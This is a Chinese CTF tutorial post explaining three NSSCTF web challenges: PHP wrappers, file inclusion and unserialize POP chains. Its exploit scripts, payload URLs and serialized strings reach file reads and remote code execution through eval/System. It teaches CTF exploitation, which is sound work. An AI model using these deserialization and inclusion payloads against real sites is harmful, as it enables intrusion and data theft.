nssctf web入门(4)

news2024/11/16 7:38:10

这里通过nssctf的题单web安全入门来写,会按照题单详细解释每题。题单在NSSCTF中。

想入门ctfweb的可以看这个系列,之后会一直出这个题单的解析,题目一共有28题,打算写10篇。

[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];          #通过get获取text并赋值给text
$file = $_GET["file"];          #通过get获取file并赋值给file
$password = $_GET["password"];  #通过get获取password并赋值给password
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ #if判断是不是空通过file_get_contents打开$text文件以只读的方法判断是不是等于 welcome to the zjctf
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 输出标题welcome to the zjctf
    if(preg_match("/flag/",$file)){   #if判断通过preg_match匹配file文件中是不是含有flag
        echo "Not now!";              #如果含有输出Not now
        exit(); 
    }else{                            #如果没有匹配到执行下面代码
        include($file);  //useless.php  #包含file文件
        $password = unserialize($password); #反序列化password
        echo $password;         #输出反序列话的内容
    }
}
else{
    highlight_file(__FILE__);  将当前代码显示到页面上
}
?>

面对第一个if判断我们要传入text并且他的内容为welcome to the zjctf

 这里使用php中的data如果你按照前面的题做过来的,应该知道为什么,如果不知道可以看这篇nssctf web入门(2)_许允er的博客-CSDN博客

我们通过data通过了第一个判断,接下去是file这里代码总注释了useless.php我们先试着将file的值为useless.php去看看useless.php

这里我们再次指定file为useless.php发现返回了初始页面,所以知道存在包含可以使用伪协议,科可以先思考一下,为什么这里发现useless.php的时候返回初始页面知道有漏洞

在这个代码中只有当text值,通过if判断才会输出信息,如果file中有flag字符会直接退出。否则他会包含file,在他包含file文件时,会执行其中的代码。由于这里的代码没有进行任何输出或重定向。所以会看到初始页面

我们通过filter读取useless.php的内容

file=php://filter/read=convert.base64-encode/resource=useless.php

?text=data://test/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

 

<?php  

class Flag{  //flag.php    #定义了Flag类
    public $file;          #定义公共file
    public function __tostring(){   #tostring 当对象被当作字符串输出时调用
        if(isset($this->file)){     #if判断 是不是空
            echo file_get_contents($this->file);  #file_get_contents读取file的内容因为有echo 所以会输出file的内容
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

这里的tostring在上面代码的 echo $password; 中对象被当成字符串执行时执行tostring,在

useless.php中tostring执行判断file不为空执行echo file_get_contents($this->file);即输出file的文件

即输出flag.php

 最后通过f12查看得到flag

[SWPUCTF 2021 新生赛]pop

[SWPUCTF 2021 新生赛]pop

<?php

error_reporting(0);   #屏蔽错误信息
show_source("index.php");  #将index.php的代码显示到页面上

class w44m{      #定义一个叫w44m的类

    private $admin = 'aaa';   #创建admin属性值等于aaa
    protected $passwd = '123456';  #创建passwd属性值等于123456

    public function Getflag(){    #创建公共方法Getflag
        if($this->admin === 'w44m' && $this->passwd ==='08067'){  #if判断如果admin等于w44m passwd等于08067
            include('flag.php'); #包含flag.php
            echo $flag;  #输出flag
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{  #定义一个叫w22m的类
    public $w00m; #定义一个公共属性w00m
    public function __destruct(){  #destruct当对象快要被销毁时执行
        echo $this->w00m;  #输出$w00m
    }
}

class w33m{   #定义一个叫w33m的类
    public $w00m;  #定义一个公共属性w00m
    public $w22m;  #定义一个公共属性w22m
    public function __toString(){   #toString当对象被当成字符串输出时调用
        $this->w00m->{$this->w22m}(); #this->w22m代表要调用的方法名 this->w00m时w33m的实例
        return 0;
    }
}

$w00m = $_GET['w00m']; #通过get方法获取w00m并赋值给w00m
unserialize($w00m); #反序列化w00m

?>

通过这个我们知道第一传入的w00m应该先执行w22m类这样w22m中的destruct会触发,echo w00m 这时候如果我们让w33m中的this->w00m指定为w33m,因为w33m类中存在tostring,所以当w22m中$this->w00m == w33m 时w33m中的tostring会执行我们就成功执行到了w33m中,然后看w33m,w33m中有w00m w22m ,通过$this->w00m->{$this->w22m}()我们可以让w33m中的this->w00m等于w44m,这时候再让tthis->w22m等于Getflag方法,那原来的$this->w00m->{$this->w22m}()就会变成w44m->Getflag()代表从w44m类中调用Getflag方法,而再Getflag方法中,我们需要admin等于玩4m passwd等于08067

<?php
class w44m{   #定义w44m类
    private $admin = 'w44m'; #将admin的值设为w44m
    protected $passwd = '08067'; #将passwd的值设为08067 
    #这里作用是是admin和passwd的值能成功通过Getflag的判断
}
class w22m{
    public $w00m; #这个w00m就是我们通过get获取的w00m
}

class w33m {
    public $w00m;
    public $w22m;
    #这里的$w00m和w22m用于执行代码中的w00m w22m
}

$zx = new w22m(); #实例化w22m
$zx->w00m = new w33m(); #让w22m中的w00m指向w33m
$zx->w00m->w00m = new w44m(); #使$zx->w00m->w00m指向w44m 这里相当于 new w33m()->w00m = new w44m()就是让w33中的w00m指向w44m
$zx->w00m->w22m = 'Getflag';  #使w33m中的w22m的值为Getflag 在题目里面就成了 Getflag()
echo urlencode(serialize($zx));
  
?>

这里urlencode加不加都可以

O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"w44madmin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

 [NISACTF 2022]babyserialize

[NISACTF 2022]babyserialize

<?php
include "waf.php";  #包含waf.php
class NISA{         #定义一个叫NISA的类
    public $fun="show_me_flag";  #定义公共属性fun并赋值为show_me_flag
    public $txw4ever;            #定义公共属性txw4ever
    public function __wakeup()   #wakeup方法,反序列化时马上调用
    { 
        if($this->fun=="show_me_flag"){ #if判断,fun的值是不是show_me_flag
            hint();  #这里hint是自定义函数因为hint被注释了所以不管
        }
    }

    function __call($from,$val){    #call方法在对象中调用一个不可访问的方法时带调用call $from表示调用的方法$val代表调用的参数,以数组形式
        $this->fun=$val[0];   #fun的值等于val的第一个元素
    }

    public function __toString() #toString把对象当成字符串时调用
    {
        echo $this->fun; #输出fun的值
        return " ";      #返回一个空字符串
    }
    public function __invoke() #当把一个对象当作函数来执行时调用
    {
        checkcheck($this->txw4ever); #checkcheck也被注释了,根据注释的来看是用来过滤的
        @eval($this->txw4ever);  @eval用于执行将一段字符串当作php命令执行
    }
}

class TianXiWei{            ##定义一个叫TianXiWei的类
    public $ext;            #定义了一个公共属性ext
    public $x;              #定义了一个公共属性x
    public function __wakeup()    #wakeup方法当反序列化时调用
    {
        $this->ext->nisa($this->x); #调用了this->ext->nsia方法参数为this->x因为这里没有nsia方法所以会使用下面类中的call方法
    }
}

class Ilovetxw{           ##定义一个叫Ilovetxw的类
    public $huang;        #定义了一个公共属性huang
    public $su;           #定义了一个公共属性su

    public function __call($fun1,$arg){ #call类在对象中访问一个不存在的方法时调用
        $this->huang->fun=$arg[0];      #huang的fun属性等于arg中的第一个元素
    }

    public function __toString(){      #toString把对象当成字符串时调用
        $bb = $this->su;               #属性bb的值为su
        return $bb();                  #返回属性bb
    }
}

class four{            ##定义一个叫four的类
    public $a="TXW4EVER";   #定义一个公共属性a值为TXW4EVER
    private $fun='abc';     #定义一个私有
属性fun值为abc

    public function __set($name, $value)  #set当我们给对象赋值时,如果这个属性没有被定义或者时私有属性就会调用
    {
        $this->$name=$value;    #n将$value属性赋值给name属性
        if ($this->fun = "sixsixsix"){ #if判断fun的值是不是为sixsixsix
            strtolower($this->a);  #strtolower用于将字符串转换为小写字符
        }
    }
}

if(isset($_GET['ser'])){   #if判断通过GET获取的ser的值是不是空
    @unserialize($_GET['ser']);    #反序列化ser
}else{
    highlight_file(__FILE__);       #将当前php的代码显示到页面上
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

这里我们先反推

思路 执行@eval 所执行@eval要使用invoke方法

invoke方法当对象以函数执行时被调用,使用我们要找到哪里将对象以函数执行了,我们知道函数执行的格式函数()所以我们发现 return $bb();符合, return $bb();在toString方法中, toString在对象当成字符串时执行,我们寻找哪里将对象当成字符串输出,strtolower($this->a);strtolower用于将字符串转换为小写字符,所以这里将对象a变成了字符串,而这里在set方法中,set方法将对象赋值时,属性没有定义会调用,$this->huang->fun=$arg[0];里面huang中的fun属性时没有定义的,所以这里会触发set方法,$this->huang->fun=$arg[0];在call方法中,call在对象中访问一个不存在的方法时调用, $this->ext->nisa($this->x);这里调用了nisa方法但是没有nisa方法所以会调用call方法,而 $this->ext->nisa($this->x);在wakeup中,wakeup在pop入口,因为反序列化时调用wakeup

_invoke --> __toString --> __set --> __call --> __wakeup
NISA          Ilovetxw      four      Ilovetxw     TianXiWei
执行流程

exp

<?php
class NISA{
    public $fun;
    public $txw4ever='System("ls");'; #这里要大写会检测
}
class TianXiWei{
    public $ext;
    public $x;


}
class Ilovetxw{
    public $huang;
    public $su;

}

class four{
    public $a;
    private $fun;
}
$zx = new TianXiWei; #这里调用了T类中的wakeup
$zx->ext = new Ilovetxw; #这里代表T类中的ext实例I类使$this->ext->nisa($this->x); 变成I类中的nisa因为没有所以调用I类中的call方法
$zx->ext->huang = new four; #这里因为前面I类call中 $this->huang->fun=$arg[0];没有huang这个方法所以调用set,所以我们指定到set在的f类
$zx->ext->huang->a = new Ilovetxw; #指定I类因为strtolower调用了toString
$zx->ext->huang->a->su = new NISA; #指定N类因为return $bb()调用invoke方法
echo urlencode(serialize($zx))
?>

 这里因为system没有大写

 

这里ls / 直接ls只有index和waf

 发现flag

cat  /fllllllaaag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/420142.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

本周大新闻|微软IVAS 1.2预计24年交付;华为发布AR-HUD方案

本周XR大新闻&#xff0c;AR方面&#xff0c;IVAS 1.2版预计24年交付&#xff1b;苹果AR眼镜预计26年采用超透镜方案&#xff1b;苹果首款XR头显由和硕转立讯代工&#xff1b;一加展示新款AR眼镜原型&#xff1b;镭昱点亮单片全彩Micro-LED&#xff1b;苹果智能指环专利公布。 …

windows10 java 创建合约

a. 安装Nodejs 主要是方便使用npm 命令 并配置环境变量 b.使用 npm 可以便捷地安装Solidity编译器solcjs npm install -g solc c.找个目录 创建一个solidity文件 如 // SPDX-License-Identifier: GPL-3.0pragma solidity >0.8.2 <0.9.0;/*** title Storage* dev Store…

ChatGPT引爆AI热潮,未来有哪些核心落地场景与投资机遇?

自ChatGPT面世以来&#xff0c;AI行业再度被引爆&#xff0c;AI大模型作为新一代颠覆性技术同时掀起了一波又一波热潮&#xff0c;头部厂商与创业者纷纷涌入&#xff0c;备受业界瞩目与市场追捧。 在这汹涌的狂欢背后&#xff0c;实则代表着AI发展的阶跃&#xff0c;即AI直接创…

和ChatGPT关于Swing music的一场对话(上篇)

什么是 Swing Music &#xff1f; Swing Music 是一款漂亮的自托管音乐播放器&#xff0c;适用于您的本地音频文件。就像一个更酷的 Spotify …但带上你自己的音乐。 第一次在 reddit 上看到 Swing Music&#xff0c;就被其 UI 吸引了 但源码站点的releases 中只有 windows 和 …

凌恩生物美文分享|转录组研究利器——三代全长转录组测序(Iso-Seq)

近年来&#xff0c;随着高通量测序技术的发展&#xff0c;转录组测序已经成为研究基因表达调控的主要手段。我们知道&#xff0c;很多物种的转录本非常多样和复杂&#xff0c;绝大多数真核生物基因不符合“一基因一转录本”的模式&#xff0c;这些基因往往存在多种剪切形式。通…

学习着编写了一款chrome小插件

背景介绍 半年前有幸分享了一下浏览器开发者工具的技术分享&#xff0c;当时的PPT在写至最后处总感觉理论讲解多于代码分享&#xff0c;于是琢磨着编写一下相关的代码&#xff0c;在经过一番苦思冥想后最终锁定了浏览器插件编写的实现上&#xff0c;所以在经过一番知识百科后&…

(OpenAI)ChatGPT注册登录常见问题错误代码及其解决方法

在使用 ChatGPT 的时候我们可能会碰到一些错误的代码&#xff0c;本文统一来介绍一下每一种错误以及解决方法。 错误代码1. 不能在当前国家使用 出现场景&#xff1a;一般在注册或登录的时候会出现。 原因&#xff1a;主要是ChatGPT检测到当前访问所在的地区不允许访问导致。 …

如何在Java中使用同步回调和异步回调

文章目录&#xff08;一&#xff09;同步回调&#xff08;1&#xff09;匿名内部类回调&#xff08;2&#xff09;Lambda 回调&#xff08;二&#xff09;异步回调&#xff08;1&#xff09;简单的线程回调&#xff08;2&#xff09;异步并行回调&#xff08;3&#xff09;Comp…

python 时间序列分解案例——加法分解seasonal_decompose

文章目录一、模型简介1.1 加法分解模型1.2 乘法分解模型1.3 分析步骤二、案例2.1 背景 & 数据 & python包2.2 分析过程一、模型简介 1.1 加法分解模型 加法分解模型适用于随着时间推移趋势和季节性变化不断累加&#xff0c;并且随机波动比较稳定的时间序列数据。该模…

初识linux之线程互斥

目录 一、线程互斥的概念 1. 多线程下全局数据的安全问题 2 线程互斥相关背景概念 二、线程加锁 1. 锁生成和销毁 2. 对一个锁加锁 3. 对一个锁解锁 三、解决多线程并发式访问临界资源问题 四、如何看待锁 1. 锁限制线程串行访问 2. 加锁和解锁的原子性 五、对锁进…

数学体操之牛顿数值法解方程的程序和图解

牛顿法是一种用来寻找函数零点的迭代方法&#xff0c;它基于以下思路&#xff0c;如果我们知道了一个函数在某个点的切线&#xff0c;那么函数的零点就可以通过切线与x轴的交点来近似计算。 给定一个函数,找到零点,过程如下: 选择初始点,然后使用这个点处的切线来近似,也就是…

java超详细的jvm调优

JVM调优 看这篇博客之前&#xff0c;可以先看我另外两篇 Java虚拟机&#xff08;Jvm详解&#xff09; Java垃圾回收机制(后续更新) 下面主要从以下几个方面进行展开描述&#xff1a; JVM实践调优主要步骤分析GC日志堆内存与元空间优化线程堆栈优化堆内存内部优化&#xff…

软件质量保证与软件测试 第五周(数据流测试)+第六周(集成测试开了个头)

数据流测试 1 定义/使用测试 一些概念的定义 例题理解概念 例子1&#xff1a; 定义清除的理解&#xff1a;就是说&#xff0c;如果路径上又遇到了其他定义节点&#xff0c;那就不是。 例子2&#xff1a; 第一步&#xff1a;先画程序图&#xff1a; 第二步&#xff1a;再…

什么是 AWS Lambda 冷启动问题?

什么是 AWS Lambda 冷启动问题&#xff1f; AWS Lambda 是一个无服务器计算平台&#xff0c;使开发人员能够快速构建和部署应用程序&#xff0c;而无需管理任何底层基础设施。但是&#xff0c;这种便利性也带来了一个缺点&#xff0c;即 AWS Lambda 冷启动问题。由于冷启动问题…

sgg第二天Java的语法

关键字 关键字(keyword)的定义和特点 定义&#xff1a;被Java语言赋予了特殊含义  特点&#xff1a;关键字中所有字母都为小写  注意,关键字不能被用作标识符&#xff01; 保留字 Java保留字&#xff1a;现有Java版本尚未使用&#xff0c;但以后版本可能会作为关键字使 …

Qt Quick - 弹出控件综述

Qt Quick - 弹出控件综述一、概述一、抽屉控件二、菜单控件三、弹出控件四、工具提示控件一、概述 控件功能Dialog带有标准按钮和标题的弹出式对话框&#xff0c;用于与用户进行短期交互Drawer可以用滑动手势打开和关闭的侧面板Menu弹出式菜单&#xff0c;可以用作上下文菜单或…

springboot事务

对于从事 java 开发工作的同学来说&#xff0c;spring 的事务肯定再熟悉不过了。 在某些业务场景下&#xff0c;如果一个请求中&#xff0c;需要同时写入多张表的数据。为了保证操作的原子性&#xff08;要么同时成功&#xff0c;要么同时失败&#xff09;&#xff0c;避免数据…

设备是如何实现延时关机的

文章目录1. 引言2. 延时关机的实现方式2.1 自建定时服务实现2.2 RocketMQ中间件实现2.2.1 生成端demo2.2.2 消费端demo3. 结尾1. 引言 在设备联动中&#xff0c;有些场景需要保持设备继续工作一段时间再关机。比如在厨房场景下&#xff0c;存在燃气灶和烟机的联动场景&#xf…

基于kettle部署图形化界面(spoon)

最近使用kettle部署windows&#xff0c;mac、linux服务遇到的坑做一个总结。 1、mac、linux部署&#xff1a; 1⃣️拉取docker镜像 docker pull hiromuhota/webspoon 2⃣️创建并运行docker容器 docker run -d -p 8080:8080 hiromuhota/webspoon --name webspoon --restar…

HTML:彩虹按钮

彩虹按钮&#xff08;盗版按钮&#xff0c;B站仿写&#xff0c;略有不同&#xff01;&#xff09; 链接 <html><head><title>demo</title><style>*{margin: 0;padding: 0;}body{display: flex;justify-content: center;align-items: center;…